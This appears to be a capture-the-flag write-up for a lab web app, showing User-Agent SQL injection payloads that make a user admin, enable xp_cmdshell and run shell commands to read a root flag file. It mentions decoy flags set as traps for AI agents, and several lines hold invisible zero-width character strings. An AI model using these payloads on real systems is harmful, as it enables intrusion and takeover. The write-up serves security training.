← Back to Writeups
CUSTOMMediumWeb

InfraScope — Blind SQLi to RCE via User-Agent Audit Logging

XESXOR9/10/20263 min read
#web#custom#medium#decoy_flag_avoidance#multi_row_insert_injection#privilege_escalation_via_sql_u#rce_via_xp_cmdshell#sqli_via_user_agent_header#linux

InfraScope — Blind SQLi to RCE via User-Agent Audit Logging

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-03 | Status: Solved Techniques: decoy_flag_avoidance, multi_row_insert_injection, privilege_escalation_via_sql_update, rce_via_xp_cmdshell, sqli_via_user_agent_header

Summary

Task: Infrastructure monitoring platform with audit logging that inserts User-Agent header via non-parameterized SQL. Solution: Blind SQLi via User-Agent during login, escalate to admin via SQL UPDATE, exfiltrate data through audit logs, enable xp_cmdshell for RCE to read flag.

InfraScope — Blind SQLi to RCE via User-Agent Audit Logging — HackAdvisor Lab 28

Description

InfraScope is a unified infrastructure monitoring platform built by ScopeOps Technologies. It provides server health dashboards, incident tracking, team management, and alert configuration for DevOps teams. Perform a security assessment, escalate access, and execute commands on the underlying server to retrieve the flag.

English summary: A Node.js/Express infrastructure monitoring platform with SQLite backend (disguised as MSSQL). The audit logging system inserts HTTP headers (including User-Agent) into the database without parameterization. The goal is to exploit this blind SQLi to achieve RCE and read /root/flag.txt. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Analysis

Technology Stack

  • Express.js (Node.js) with nginx/1.25.5 reverse proxy
  • SQLite 3.45.3 with "MSSQL 2022 Express (compat layer)"
  • Custom SQL functions: xp_cmdshell, sp_configure, reconfigure
  • Non-parameterized audit logging (direct string interpolation)

Key Discovery: /health Endpoint

The /health endpoint reveals critical configuration:

json
{
  "status": "ok",
  "version": "4.2.1",
  "database": {
    "engine": "MSSQL 2022 Express (compat layer)",
    "connection": "sa@localhost",
    "features": ["audit_logging", "sp_configure", "xp_cmdshell"]
  },
  "audit": {
    "adapter": "legacy-sql-direct",
    "parameterized": false
  }
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

HTML Comments Leak

Login page HTML comments reveal: "audit trail includes request metadata (IP, User-Agent, timestamp)" and "logged via the legacy MSSQL audit adapter for compliance".

Decoy Flags

Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs — traps for automated scanners and AI agents.

User Roles

  • Our user (user@test.com): "engineer" role, cannot access /admin/logs
  • Admin user (admin@scopeops.io): "admin" role, can view audit logs

Solution

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 1: Privilege Escalation (Engineer → Admin)

The User-Agent header is logged via non-parameterized SQL INSERT during POST /login. Used stacked query injection to escalate privileges:

bash
curl -X POST "https://e49e3c89-f642-4b80-a676-930bb2120420.labs.hackadvisor.io/login" \
  -H "User-Agent: test'); UPDATE users SET role='admin' WHERE email='user@test.com'; --" \
  -d "email=user@test.com&password=password123"

After re-login, the user now has admin role and can access /admin/logs.

Step 2: Database Enumeration via Multi-Row INSERT

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Confirmed SQLite backend and enumerated custom functions by injecting additional rows into the audit log:

bash
# Confirm SQLite version
User-Agent: test'), ('2026-01-01', 'VERSION', sqlite_version(), '1.1.1.1', 'test'); --
# Result visible in /admin/logs?action=VERSION: 3.45.3

# Enumerate custom functions
User-Agent: test'), ('2026-01-01', 'XPFUNC', (SELECT group_concat(name) FROM pragma_function_list WHERE name LIKE '%xp%' OR name LIKE '%cmd%'), '1.1.1.1', 'test'); --
# Result: exp,xp_cmdshell

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Enable xp_cmdshell

The custom xp_cmdshell function required configuration before use:

bash
# Enable via sp_configure
User-Agent: test'), ('2026-01-01', 'CONFIG', (SELECT sp_configure('xp_cmdshell', 1)), '1.1.1.1', 'test'); --

# Apply configuration
User-Agent: test'), ('2026-01-01', 'RECONFIG', (SELECT reconfigure()), '1.1.1.1', 'test'); --

Step 4: RCE and Flag Extraction

bash
# Find flag file
User-Agent: test'), ('2026-01-01', 'FIND', (SELECT xp_cmdshell('find / -name "*flag*" 2>/dev/null')), '1.1.1.1', 'test'); --
# Result: /root/flag.txt
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Read flag
User-Agent: test'), ('2026-01-01', 'FLAG', (SELECT xp_cmdshell('cat /root/flag.txt')), '1.1.1.1', 'test'); --
# Result: FLAG{REDACTED}

All injected results were visible at /admin/logs?action=ACTION_NAME, turning the blind SQLi into a readable one. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍